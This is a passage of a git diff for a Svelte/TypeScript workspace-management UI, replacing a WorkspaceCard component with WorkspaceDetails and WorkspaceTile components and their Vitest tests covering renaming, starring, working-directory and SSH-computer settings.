- const result = await store.setDefaultComputer(ws.id, computerId);
- savingComputer = false;
- if (!result.ok) computerError = result.error;
- }
-
- // ── Star (concurrency priority) ──────────────────────────────────────────────
- let savingStar = $state(false);
- let starError = $state<string | null>(null);
-
- async function toggleStar(): Promise<void> {
- if (savingStar) return;
- savingStar = true;
- starError = null;
- try {
- // Optimistic: the store flips `starred` immediately and re-sorts; revert
- // on error is handled there. We read `ws.starred` for the target value.
- const result = await store.setStarred(ws.id, !ws.starred);
- if (!result.ok) starError = result.error;
- } catch (err) {
- // A throw (e.g. a rejected effect) — surface it; the store already
- // reverted the optimistic flip if it got far enough to apply it.
- starError = err instanceof Error ? err.message : "Star toggle failed";
- } finally {
- savingStar = false;
- }
- }
-
- // ── Delete ─────────────────────────────────────────────────────────────────
- let deleting = $state(false);
-
- async function handleDelete(): Promise<void> {
- if (
- !window.confirm(
- `Delete workspace "${ws.title}"? Its conversations will be closed and moved to "default".`,
- )
- ) {
- return;
- }
- deleting = true;
- await store.remove(ws.id);
- deleting = false;
- }
-</script>
-
-<li class="flex flex-col gap-2 rounded-box border border-primary bg-primary/10 p-3">
- <div class="flex items-center gap-2">
- {#if editingTitle}
- <input
- bind:this={titleInput}
- bind:value={titleDraft}
- class="input input-bordered input-sm flex-1"
- aria-label="Workspace title"
- onkeydown={(e) => {
- if (e.key === "Enter") saveTitle();
- else if (e.key === "Escape") cancelTitle();
- }}
- onblur={saveTitle}
- />
- {:else}
- <!-- svelte-ignore a11y_no_static_element_interactions, a11y_click_events_have_key_events -->
- <span
- class="flex-1 cursor-default truncate font-semibold"
- title="Double-click to rename"
- ondblclick={startEditTitle}>{ws.title}</span
- >
- {/if}
- {#if active}
- <span
- class="loading loading-dots loading-xs shrink-0 text-primary"
- aria-label="Workspace has active conversations"
- title="A conversation in this workspace is generating"></span
- >
- {/if}
- <span class="font-mono text-xs opacity-50">/{ws.id}</span>
- <button
- type="button"
- class="btn btn-ghost btn-xs px-1"
- disabled={savingStar}
- aria-pressed={ws.starred}
- aria-label={ws.starred ? "Unstar workspace" : "Star workspace"}
- title={ws.starred
- ? "Starred — its agents get concurrency priority. Click to unstar."
- : "Star this workspace to give its agents concurrency priority."}
- onclick={toggleStar}
- >
- {#if savingStar}
- <span class="loading loading-spinner loading-xs"></span>
- {:else if ws.starred}
- <span class="text-warning" aria-hidden="true">★</span>
- {:else}
- <span class="opacity-40" aria-hidden="true">☆</span>
- {/if}
- </button>
- <span class="ml-auto text-xs opacity-50">
- {ws.conversationCount}
- {ws.conversationCount === 1 ? "conversation" : "conversations"}
- · {relativeTime(ws.lastActivityAt, Date.now())}
- </span>
- <button
- type="button"
- class="btn btn-ghost btn-xs"
- disabled={deleting}
- title="Delete workspace"
- aria-label="Delete workspace"
- onclick={handleDelete}
- >
- {#if deleting}
- <span class="loading loading-spinner loading-xs"></span>
- {:else}
- ✕
- {/if}
- </button>
- </div>
-
- {#if titleError}
- <p class="text-xs text-error">{titleError}</p>
- {/if}
-
- {#if starError}
- <p class="text-xs text-error">{starError}</p>
- {/if}
-
- <div class="flex items-center gap-2">
- <span class="w-8 shrink-0 text-xs opacity-60">cwd</span>
- <input
- type="text"
- class="input input-bordered input-sm flex-1 font-mono text-xs"
- placeholder="inherits the server default"
- bind:value={cwdDraft}
- aria-label="Default working directory"
- onkeydown={(e) => {
- if (e.key === "Enter") saveCwd();
- }}
- />
- <button
- type="button"
- class="btn btn-primary btn-xs"
- disabled={!cwdDirty || savingCwd}
- onclick={saveCwd}
- >
- {#if savingCwd}
- <span class="loading loading-spinner loading-xs"></span>
- {:else}
- Set
- {/if}
- </button>
- </div>
-
- <div class="flex items-center gap-2">
- <span class="w-8 shrink-0 text-xs opacity-60">ssh</span>
- <ComputerSelect
- value={ws.defaultComputerId}
- {computers}
- disabled={savingComputer}
- onSelect={saveComputer}
- />
- {#if savingComputer}
- <span class="loading loading-spinner loading-xs shrink-0"></span>
- {/if}
- </div>
-
- <div class="flex justify-start">
- <a
- class="btn"
- href={workspacePath(ws.id)}
- onclick={(e) => {
- e.preventDefault();
- onNavigate(workspacePath(ws.id));
- }}
- >
- Open
- </a>
- </div>
-
- {#if cwdError}
- <p class="text-xs text-error">{cwdError}</p>
- {:else if !cwdDirty && !ws.defaultCwd}
- <p class="text-xs opacity-50">No default cwd set — conversations inherit the server default.</p>
- {/if}
-
- {#if computerError}
- <p class="text-xs text-error">{computerError}</p>
- {:else if !ws.defaultComputerId}
- <p class="text-xs opacity-50">No default computer — conversations run locally (no SSH).</p>
- {/if}
-</li>
diff --git a/src/features/workspaces/ui/WorkspaceCard.test.ts b/src/features/workspaces/ui/WorkspaceCard.test.ts
deleted file mode 100644
index 72f4e60..0000000
--- a/src/features/workspaces/ui/WorkspaceCard.test.ts
+++ /dev/null
@@ -1,305 +0,0 @@
-import type { WorkspaceEntry } from "@dispatch/wire";
-import { render, screen } from "@testing-library/svelte";
-import userEvent from "@testing-library/user-event";
-import { describe, expect, it, vi } from "vitest";
-import type { WorkspaceResult } from "../adapter/http";
-import type { WorkspaceStore } from "../store.svelte";
-import WorkspaceCard from "./WorkspaceCard.svelte";
-
-function fakeEntry(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
- return {
- id: "my-ws",
- title: "My Workspace",
- defaultCwd: null,
- defaultComputerId: null,
- starred: false,
- createdAt: 1,
- lastActivityAt: 2,
- conversationCount: 3,
- ...overrides,
- };
-}
-
-/** A fake store that records calls + resolves ok. */
-function fakeStore() {
- return {
- rename: vi.fn(
- async (id: string, _title: string): Promise<WorkspaceResult<WorkspaceEntry>> => ({
- ok: true,
- value: fakeEntry({ id, title: _title }),
- }),
- ),
- setDefaultCwd: vi.fn(
- async (id: string, defaultCwd: string | null): Promise<WorkspaceResult<WorkspaceEntry>> => ({
- ok: true,
- value: fakeEntry({ id, defaultCwd }),
- }),
- ),
- setDefaultComputer: vi.fn(
- async (id: string, computerId: string | null): Promise<WorkspaceResult<WorkspaceEntry>> => ({
- ok: true,
- value: fakeEntry({ id, defaultComputerId: computerId }),
- }),
- ),
- setStarred: vi.fn(
- async (id: string, starred: boolean): Promise<WorkspaceResult<WorkspaceEntry>> => ({
- ok: true,
- value: fakeEntry({ id, starred }),
- }),
- ),
- remove: vi.fn(
- async (): Promise<WorkspaceResult<{ closedCount: number }>> => ({
- ok: true,
- value: { closedCount: 0 },
- }),
- ),
- };
-}
-
-describe("WorkspaceCard", () => {
- it("renders the title, slug, and an Open link", () => {
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry(), store, onNavigate: vi.fn(), computers: [] },
- });
- expect(screen.getByText("My Workspace")).toBeInTheDocument();
- expect(screen.getByText("/my-ws")).toBeInTheDocument();
- expect(screen.getByRole("link", { name: "Open" })).toHaveAttribute("href", "/my-ws");
- });
-
- it("double-clicking the title reveals an edit input", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry(), store, onNavigate: vi.fn(), computers: [] },
- });
-
- await user.dblClick(screen.getByText("My Workspace"));
- expect(screen.getByLabelText("Workspace title")).toHaveValue("My Workspace");
- });
-
- it("renames via the store on Enter", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry(), store, onNavigate: vi.fn(), computers: [] },
- });
-
- await user.dblClick(screen.getByText("My Workspace"));
- const input = screen.getByLabelText("Workspace title");
- await user.clear(input);
- await user.type(input, "Renamed{Enter}");
-
- expect(store.rename).toHaveBeenCalledWith("my-ws", "Renamed");
- });
-
- it("enables Set only when the cwd differs, then saves it", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ defaultCwd: "/old" }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- const input = screen.getByLabelText("Default working directory");
- expect(input).toHaveValue("/old");
- expect(screen.getByRole("button", { name: "Set" })).toBeDisabled();
-
- await user.clear(input);
- await user.type(input, "/new/path");
- expect(screen.getByRole("button", { name: "Set" })).toBeEnabled();
-
- await user.click(screen.getByRole("button", { name: "Set" }));
- expect(store.setDefaultCwd).toHaveBeenCalledWith("my-ws", "/new/path");
- });
-
- it("clears the cwd to null when saved empty (inherits the server default)", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ defaultCwd: "/old" }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- const input = screen.getByLabelText("Default working directory");
- await user.clear(input);
- await user.click(screen.getByRole("button", { name: "Set" }));
-
- expect(store.setDefaultCwd).toHaveBeenCalledWith("my-ws", null);
- });
-
- it("the Open link navigates to the workspace in the same tab (SPA navigation, no new tab)", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- const onNavigate = vi.fn();
- render(WorkspaceCard, { props: { ws: fakeEntry(), store, onNavigate, computers: [] } });
-
- const open = screen.getByRole("link", { name: "Open" });
- // Still a real link (progressive enhancement): href points at the workspace.
- expect(open).toHaveAttribute("href", "/my-ws");
- // But it no longer opens a new browser tab.
- expect(open).not.toHaveAttribute("target", "_blank");
- // Clicking navigates in-place via the SPA callback.
- await user.click(open);
- expect(onNavigate).toHaveBeenCalledTimes(1);
- expect(onNavigate).toHaveBeenCalledWith("/my-ws");
- });
-
- // ── Active indicator (loading dots) ──────────────────────────────────────
-
- it("shows no loading-dots when no hasActive port is given", () => {
- const store = fakeStore() as unknown as WorkspaceStore;
- const { container } = render(WorkspaceCard, {
- props: { ws: fakeEntry(), store, onNavigate: vi.fn(), computers: [] },
- });
- expect(container.querySelector(".loading-dots")).toBeNull();
- });
-
- it("shows no loading-dots when hasActive returns false", () => {
- const store = fakeStore() as unknown as WorkspaceStore;
- const { container } = render(WorkspaceCard, {
- props: {
- ws: fakeEntry(),
- store,
- onNavigate: vi.fn(),
- computers: [],
- hasActive: () => false,
- },
- });
- expect(container.querySelector(".loading-dots")).toBeNull();
- });
-
- it("shows loading-dots when hasActive returns true", () => {
- const store = fakeStore() as unknown as WorkspaceStore;
- const { container } = render(WorkspaceCard, {
- props: {
- ws: fakeEntry(),
- store,
- onNavigate: vi.fn(),
- computers: [],
- hasActive: () => true,
- },
- });
- const dots = container.querySelector(".loading-dots");
- expect(dots).not.toBeNull();
- // Accessible label ties the indicator to the workspace-active concept.
- expect(dots?.getAttribute("aria-label")).toBe("Workspace has active conversations");
- });
-
- it("forwards the workspace id to hasActive", () => {
- const store = fakeStore() as unknown as WorkspaceStore;
- const seen: string[] = [];
- render(WorkspaceCard, {
- props: {
- ws: fakeEntry({ id: "proj-x" }),
- store,
- onNavigate: vi.fn(),
- computers: [],
- hasActive: (id: string) => {
- seen.push(id);
- return false;
- },
- },
- });
- expect(seen).toEqual(["proj-x"]);
- });
-
- it("renders an outline star button for an unstarred workspace", () => {
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: false }), store, onNavigate: vi.fn(), computers: [] },
- });
- const star = screen.getByRole("button", { name: "Star workspace" });
- expect(star).toHaveAttribute("aria-pressed", "false");
- });
-
- it("renders a filled star button for a starred workspace", () => {
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: true }), store, onNavigate: vi.fn(), computers: [] },
- });
- const star = screen.getByRole("button", { name: "Unstar workspace" });
- expect(star).toHaveAttribute("aria-pressed", "true");
- });
-
- it("toggles the star via the store on click", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: false }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- await user.click(screen.getByRole("button", { name: "Star workspace" }));
- expect(store.setStarred).toHaveBeenCalledWith("my-ws", true);
- });
-
- it("clicking a starred workspace's star calls setStarred(id, false)", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: true }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- await user.click(screen.getByRole("button", { name: "Unstar workspace" }));
- expect(store.setStarred).toHaveBeenCalledWith("my-ws", false);
- });
-
- it("renders no star error on a successful toggle", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: false }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- await user.click(screen.getByRole("button", { name: "Star workspace" }));
- expect(screen.queryByText(/Star toggle failed/i)).not.toBeInTheDocument();
- });
-
- it("shows an inline error when setStarred fails (result.ok false)", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- // The store reverts the optimistic flip on failure, so the entry's
- // `starred` stays false — fake the revert by returning ok:false unchanged.
- store.setStarred = vi.fn(
- async (): Promise<WorkspaceResult<WorkspaceEntry>> => ({ ok: false, error: "boom" }),
- );
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: false }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- await user.click(screen.getByRole("button", { name: "Star workspace" }));
-
- expect(screen.getByText("boom")).toBeInTheDocument();
- });
-
- it("re-enables the star button after a failure (savingStar resets)", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- store.setStarred = vi.fn(
- async (): Promise<WorkspaceResult<WorkspaceEntry>> => ({ ok: false, error: "boom" }),
- );
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: false }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- const star = screen.getByRole("button", { name: "Star workspace" });
- await user.click(star);
- // After the failed toggle, the button is NOT disabled (savingStar reset).
- expect(star).not.toBeDisabled();
- });
-
- it("re-enables the star button even when setStarred throws", async () => {
- const user = userEvent.setup();
- const store = fakeStore() as unknown as WorkspaceStore;
- store.setStarred = vi.fn(async (): Promise<WorkspaceResult<WorkspaceEntry>> => {
- throw new Error("network");
- });
- render(WorkspaceCard, {
- props: { ws: fakeEntry({ starred: false }), store, onNavigate: vi.fn(), computers: [] },
- });
-
- const star = screen.getByRole("button", { name: "Star workspace" });
- await user.click(star);
- // savingStar must reset via try/finally even on a throw.
- expect(star).not.toBeDisabled();
- expect(screen.getByText("network")).toBeInTheDocument();
- });
-});
diff --git a/src/features/workspaces/ui/WorkspaceDetails.svelte b/src/features/workspaces/ui/WorkspaceDetails.svelte
new file mode 100644
index 0000000..6595725
--- /dev/null
+++ b/src/features/workspaces/ui/WorkspaceDetails.svelte
@@ -0,0 +1,132 @@
+<script lang="ts">
+ import { untrack } from "svelte";
+ import type { ComputerEntry, WorkspaceEntry } from "@dispatch/wire";
+ import type { WorkspaceStore } from "../store.svelte";
+ import ComputerSelect from "../../computer/ui/ComputerSelect.svelte";
+
+ let {
+ ws,
+ store,
+ computers,
+ onClose,
+ }: {
+ ws: WorkspaceEntry;
+ store: WorkspaceStore;
+ /** Discovered computers (`GET /computers`), for the default-computer dropdown. */
+ computers: readonly ComputerEntry[];
+ onClose: () => void;
+ } = $props();
+
+ // ── Default cwd: input + Set (semantics preserved from the WorkspaceCard) ──
+ let cwdDraft = $state(untrack(() => ws.defaultCwd ?? ""));
+ // Reseed when the backend value changes (e.g., after a save or an external
+ // refresh). Mid-edit (same value) does NOT re-run, so typing is never clobbered.
+ $effect(() => {
+ cwdDraft = ws.defaultCwd ?? "";
+ });
+
+ const cwdDirty = $derived(cwdDraft.trim() !== (ws.defaultCwd ?? ""));
+ let savingCwd = $state(false);
+ let cwdError = $state<string | null>(null);
+
+ async function saveCwd(): Promise<void> {
+ if (!cwdDirty || savingCwd) return;
+ savingCwd = true;
+ cwdError = null;
+ const cwd = cwdDraft.trim();
+ const result = await store.setDefaultCwd(ws.id, cwd === "" ? null : cwd);
+ savingCwd = false;
+ if (!result.ok) cwdError = result.error;
+ }
+
+ // ── Default computer: dropdown (Local / discovered SSH aliases) ────────────
+ let savingComputer = $state(false);
+ let computerError = $state<string | null>(null);
+
+ async function saveComputer(computerId: string | null): Promise<void> {
+ if (savingComputer) return;
+ // No-op when unchanged (the select only fires on a real change, but guard).
+ if (computerId === (ws.defaultComputerId ?? null)) return;
+ savingComputer = true;
+ computerError = null;
+ const result = await store.setDefaultComputer(ws.id, computerId);
+ savingComputer = false;
+ if (!result.ok) computerError = result.error;
+ }
+</script>
+
+<div class="modal modal-open" role="dialog" aria-label={`Workspace details: ${ws.title}`}>
+ <div class="modal-box">
+ <div class="flex items-start justify-between gap-2">
+ <div>
+ <h2 class="text-lg font-bold">{ws.title}</h2>
+ <p class="font-mono text-xs opacity-50">/{ws.id}</p>
+ </div>
+ <button
+ type="button"
+ class="btn btn-circle btn-ghost btn-sm"
+ aria-label="Close details"
+ onclick={onClose}>✕</button
+ >
+ </div>
+
+ <div class="mt-4 flex flex-col gap-3">
+ <div class="flex items-center gap-2">
+ <span class="w-8 shrink-0 text-xs opacity-60">cwd</span>
+ <input
+ type="text"
+ class="input input-bordered input-sm flex-1 font-mono text-xs"
+ placeholder="inherits the server default"
+ bind:value={cwdDraft}
+ aria-label="Default working directory"
+ onkeydown={(e) => {
+ if (e.key === "Enter") void saveCwd();
+ }}
+ />
+ <button
+ type="button"
+ class="btn btn-primary btn-xs"
+ disabled={!cwdDirty || savingCwd}
+ onclick={() => void saveCwd()}
+ >
+ {#if savingCwd}
+ <span class="loading loading-spinner loading-xs"></span>
+ {:else}
+ Set
+ {/if}
+ </button>
+ </div>
+
+ {#if cwdError}
+ <p class="text-xs text-error">{cwdError}</p>
+ {:else if !cwdDirty && !ws.defaultCwd}
+ <p class="text-xs opacity-50">No default cwd set — conversations inherit the server default.</p>
+ {/if}
+
+ <div class="flex items-center gap-2">
+ <span class="w-8 shrink-0 text-xs opacity-60">ssh</span>
+ <ComputerSelect
+ value={ws.defaultComputerId}
+ {computers}
+ disabled={savingComputer}
+ onSelect={(id) => void saveComputer(id)}
+ />
+ {#if savingComputer}
+ <span class="loading loading-spinner loading-xs shrink-0"></span>
+ {/if}
+ </div>
+
+ {#if computerError}
+ <p class="text-xs text-error">{computerError}</p>
+ {:else if !ws.defaultComputerId}
+ <p class="text-xs opacity-50">No default computer — conversations run locally (no SSH).</p>
+ {/if}
+ </div>
+ </div>
+ <!-- Click outside closes. -->
+ <button
+ type="button"
+ class="modal-backdrop"
+ aria-label="Close details backdrop"
+ onclick={onClose}></button>
+</div>
diff --git a/src/features/workspaces/ui/WorkspaceDetails.test.ts b/src/features/workspaces/ui/WorkspaceDetails.test.ts
new file mode 100644
index 0000000..9138742
--- /dev/null
+++ b/src/features/workspaces/ui/WorkspaceDetails.test.ts
@@ -0,0 +1,115 @@
+import type { ComputerEntry, WorkspaceEntry } from "@dispatch/wire";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import type { WorkspaceResult } from "../adapter/http";
+import type { WorkspaceStore } from "../store.svelte";
+import WorkspaceDetails from "./WorkspaceDetails.svelte";
+
+function fakeEntry(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
+ return {
+ id: "my-ws",
+ title: "My Workspace",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ conversationCount: 0,
+ ...overrides,
+ };
+}
+
+function fakeStore(): WorkspaceStore {
+ return {
+ setDefaultCwd: vi.fn(
+ async (id: string, defaultCwd: string | null): Promise<WorkspaceResult<WorkspaceEntry>> => ({
+ ok: true,
+ value: fakeEntry({ id, defaultCwd }),
+ }),
+ ),
+ setDefaultComputer: vi.fn(
+ async (
+ id: string,
+ defaultComputerId: string | null,
+ ): Promise<WorkspaceResult<WorkspaceEntry>> => ({
+ ok: true,
+ value: fakeEntry({ id, defaultComputerId }),
+ }),
+ ),
+ } as unknown as WorkspaceStore;
+}
+
+describe("WorkspaceDetails", () => {
+ it("renders the title, slug, cwd input, and computer select", () => {
+ render(WorkspaceDetails, {
+ props: { ws: fakeEntry(), store: fakeStore(), computers: [], onClose: () => {} },
+ });
+ expect(screen.getByText("My Workspace")).toBeInTheDocument();
+ expect(screen.getByText("/my-ws")).toBeInTheDocument();
+ expect(screen.getByLabelText("Default working directory")).toBeInTheDocument();
+ expect(screen.getByLabelText("Computer")).toBeInTheDocument();
+ });
+
+ it("saves the cwd via the store; an empty value clears to null", async () => {
+ const user = userEvent.setup();
+ const store = fakeStore();
+ const onClose = vi.fn();
+ render(WorkspaceDetails, {
+ props: { ws: fakeEntry({ defaultCwd: "/old" }), store, computers: [], onClose },
+ });
+
+ const input = screen.getByLabelText("Default working directory");
+ await user.clear(input);
+ await user.click(screen.getByRole("button", { name: "Set" }));
+ expect(store.setDefaultCwd).toHaveBeenCalledWith("my-ws", null);
+ });
+
+ it("a failed cwd save surfaces the error", async () => {
+ const user = userEvent.setup();
+ const store = fakeStore();
+ store.setDefaultCwd = vi.fn(
+ async (): Promise<WorkspaceResult<WorkspaceEntry>> => ({ ok: false, error: "nope" }),
+ );
+ render(WorkspaceDetails, {
+ props: { ws: fakeEntry({ defaultCwd: "/old" }), store, computers: [], onClose: () => {} },
+ });
+
+ await user.type(screen.getByLabelText("Default working directory"), "!{Enter}");
+ expect(await screen.findByText("nope")).toBeInTheDocument();
+ });
+
+ it("picking a computer saves it via the store", async () => {
+ const user = userEvent.setup();
+ const store = fakeStore();
+ const computers: ComputerEntry[] = [
+ {
+ alias: "lab",
+ hostName: "lab.example",
+ port: 22,
+ user: "me",
+ identityFile: null,
+ knownHost: true,
+ usageCount: 0,
+ },
+ ];
+ render(WorkspaceDetails, {
+ props: { ws: fakeEntry(), store, computers, onClose: () => {} },
+ });
+
+ await user.selectOptions(screen.getByLabelText("Computer"), "lab");
+ expect(store.setDefaultComputer).toHaveBeenCalledWith("my-ws", "lab");
+ });
+
+ it("the close button dismisses the dialog", async () => {
+ const user = userEvent.setup();
+ const onClose = vi.fn();
+ render(WorkspaceDetails, {
+ props: { ws: fakeEntry(), store: fakeStore(), computers: [], onClose },
+ });
+
+ await user.click(screen.getByRole("button", { name: "Close details" }));
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/src/features/workspaces/ui/WorkspaceTile.svelte b/src/features/workspaces/ui/WorkspaceTile.svelte
new file mode 100644
index 0000000..b101192
--- /dev/null
+++ b/src/features/workspaces/ui/WorkspaceTile.svelte
@@ -0,0 +1,146 @@
+<script lang="ts">
+ import type { WorkspaceEntry } from "@dispatch/wire";
+ import type { WorkspaceStore } from "../store.svelte";
+ import { relativeTime } from "../logic/view-model";
+ import type { Placement } from "../logic/tile-layout";
+
+ let {
+ ws,
+ store,
+ placement,
+ selected = false,
+ renaming = false,
+ active = false,
+ onRenameEnd,
+ }: {
+ ws: WorkspaceEntry;
+ store: WorkspaceStore;
+ /** The tile's resolved footprint (already preview-adjusted by the grid). */
+ placement: Placement;
+ selected?: boolean;
+ /** The parent-driven rename mode (the action bar's Rename action). */
+ renaming?: boolean;
+ /** At least one conversation in this workspace is generating/queued. */
+ active?: boolean;
+ /** The tile finished its rename session (saved or cancelled). */
+ onRenameEnd: () => void;
+ } = $props();
+
+ // ── Title: double-click to rename inline (semantics preserved from the
+ // WorkspaceCard), or enter via the action bar's Rename action (`renaming`).
+ let editing = $state(false);
+ let titleDraft = $state("");
+ let titleInput = $state<HTMLInputElement | undefined>();
+ let titleError = $state<string | null>(null);
+
+ function startEdit(): void {
+ titleDraft = ws.title;
+ titleError = null;
+ editing = true;
+ queueMicrotask(() => titleInput?.focus());
+ }
+
+ // Seed (only) when the parent-driven rename mode turns on.
+ $effect(() => {
+ if (renaming) startEdit();
+ });
+
+ async function saveTitle(): Promise<void> {
+ if (!editing) return;
+ const title = titleDraft.trim();
+ editing = false;
+ onRenameEnd();
+ if (title === "" || title === ws.title) return;
+ const result = await store.rename(ws.id, title);
+ if (!result.ok) titleError = result.error;
+ }
+
+ function cancelTitle(): void {
+ editing = false;
+ titleError = null;
+ onRenameEnd();
+ }
+
+ // The face's semantic key (tests read it).
+ const faceKey = $derived(`tile-${placement.id}`);
+
+ // Span-aware face: bigger footprints get more air + bigger type (all styles
+ // static so Tailwind sees them).
+ const wide = $derived(placement.colSpan > 1);
+ const tall = $derived(placement.rowSpan > 1);
+ const facePadding = $derived(wide || tall ? "p-5" : "p-4");
+ const titleClass = $derived(
+ wide && tall
+ ? "text-3xl leading-tight line-clamp-3"
+ : wide
+ ? "text-2xl leading-snug line-clamp-2"
+ : tall
+ ? "text-xl leading-snug line-clamp-4"
+ : "text-lg leading-snug line-clamp-3",
+ );
+ /** 1×1 tiles are tight: "20 conv." — wider tiles spell "conversations" out. */
+ const countLabel = $derived(
+ ws.conversationCount === 1 ? (wide ? "conversation" : "conv.") : wide ? "conversations" : "conv.",
+ );
+</script>
+
+<div data-tile-face={faceKey} class={`relative flex h-full w-full flex-col ${facePadding}`}>
+ <!-- The slug label at the very top — the Win8 tile's small "app" caption. -->
+ <div class="flex items-center gap-1.5 text-[11px] font-semibold tracking-wider uppercase">
+ <span class="truncate opacity-70">/{ws.id}</span>
+ {#if active}
+ <span
+ class="loading loading-dots loading-xs shrink-0"
+ aria-label="Workspace has active conversations"
+ title="A conversation in this workspace is generating"></span>
+ {/if}
+ </div>
+
+ {#if ws.starred}
+ <!-- Starred is a badge, not a tint — the tone stays the tile's identity. -->
+ <span
+ class="absolute top-2.5 right-3 text-lg leading-none opacity-90"
+ aria-label="Starred workspace"
+ title="Starred — priority in the agent queue">★</span
+ >
+ {/if}
+
+ {#if editing}
+ <input
+ bind:this={titleInput}
+ bind:value={titleDraft}
+ class="input input-sm mt-2 w-full border-current/40 bg-black/25 text-inherit placeholder:text-current/50"
+ aria-label="Workspace title"
+ onkeydown={(e) => {
+ if (e.key === "Enter") void saveTitle();
+ else if (e.key === "Escape") cancelTitle();
+ }}
+ onblur={() => void saveTitle()}
+ />
+ {:else}
+ <!-- svelte-ignore a11y_no_static_element_interactions, a11y_click_events_have_key_events -->
+ <span
+ class={`mt-1 cursor-default font-bold ${titleClass}`}
+ title="Double-click to rename"
+ ondblclick={startEdit}>{ws.title}</span
+ >
+ {/if}
+
+ {#if titleError}
+ <p class="mt-1 text-xs font-semibold">{titleError}</p>
+ {/if}
+
+ <!-- The stat line pinned to the tile's bottom edge, like a live tile's
+ status row. Single-line, truncation-safe (narrow 1×1 tiles stay clean). -->
+ <div
+ class="mt-auto flex items-center gap-2 overflow-hidden border-t border-current/20 pt-2 text-xs font-medium whitespace-nowrap"
+ >
+ <span class="min-w-0 truncate">
+ {ws.conversationCount}
+ {countLabel}
+ </span>
+ <span class="ml-auto shrink-0 font-mono opacity-70">
+ {relativeTime(ws.lastActivityAt, Date.now())}
+ </span>
+ </div>
+</div>
diff --git a/src/features/workspaces/ui/WorkspaceTile.test.ts b/src/features/workspaces/ui/WorkspaceTile.test.ts
new file mode 100644
index 0000000..420791a
--- /dev/null
+++ b/src/features/workspaces/ui/WorkspaceTile.test.ts
@@ -0,0 +1,171 @@
+import type { WorkspaceEntry } from "@dispatch/wire";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import type { WorkspaceResult } from "../adapter/http";
+import type { Placement } from "../logic/tile-layout";
+import type { WorkspaceStore } from "../store.svelte";
+import WorkspaceTile from "./WorkspaceTile.svelte";
+
+function fakeEntry(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
+ return {
+ id: "my-ws",
+ title: "My Workspace",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: Date.now() - 90_000, // "1m" relative time
+ conversationCount: 3,
+ ...overrides,
+ };
+}
+
+function fakeStore(): WorkspaceStore {
+ return {
+ rename: vi.fn(
+ async (id: string, title: string): Promise<WorkspaceResult<WorkspaceEntry>> => ({
+ ok: true,
+ value: fakeEntry({ id, title }),
+ }),
+ ),
+ } as unknown as WorkspaceStore;
+}
+
+function fakePlacement(overrides: Partial<Placement> = {}): Placement {
+ return { id: "my-ws", col: 1, row: 1, colSpan: 1, rowSpan: 1, ...overrides };
+}
+
+describe("WorkspaceTile", () => {
+ it("renders the title, slug, conversation count, and relative last-activity", () => {
+ render(WorkspaceTile, {
+ props: {
+ ws: fakeEntry(),
+ store: fakeStore(),
+ placement: fakePlacement(),
+ onRenameEnd: () => {},
+ },
+ });
+ expect(screen.getByText("My Workspace")).toBeInTheDocument();
+ expect(screen.getByText("/my-ws")).toBeInTheDocument();
+ // A 1×1 tile is tight: the count compacts to "conv." (wide tiles spell it out).
+ expect(screen.getByText(/3 conv\./)).toBeInTheDocument();
+ expect(screen.getByText("1m")).toBeInTheDocument();
+ });
+
+ it("spells out 'conversations' on a wide tile", () => {
+ render(WorkspaceTile, {
+ props: {
+ ws: fakeEntry(),
+ store: fakeStore(),
+ placement: fakePlacement({ colSpan: 2, rowSpan: 1 }),
+ onRenameEnd: () => {},
+ },
+ });
+ expect(screen.getByText(/3 conversations/)).toBeInTheDocument();
+ });
+
+ it("shows the active indicator only when the active port says so", async () => {
+ const { container, rerender } = render(WorkspaceTile, {
+ props: {
+ ws: fakeEntry(),
+ store: fakeStore(),
+ placement: fakePlacement(),
+ active: true,
+ onRenameEnd: () => {},
+ },
+ });
+ expect(
+ container.querySelector('[aria-label="Workspace has active conversations"]'),
+ ).not.toBeNull();
+
+ await rerender({
+ ws: fakeEntry(),
+ store: fakeStore(),
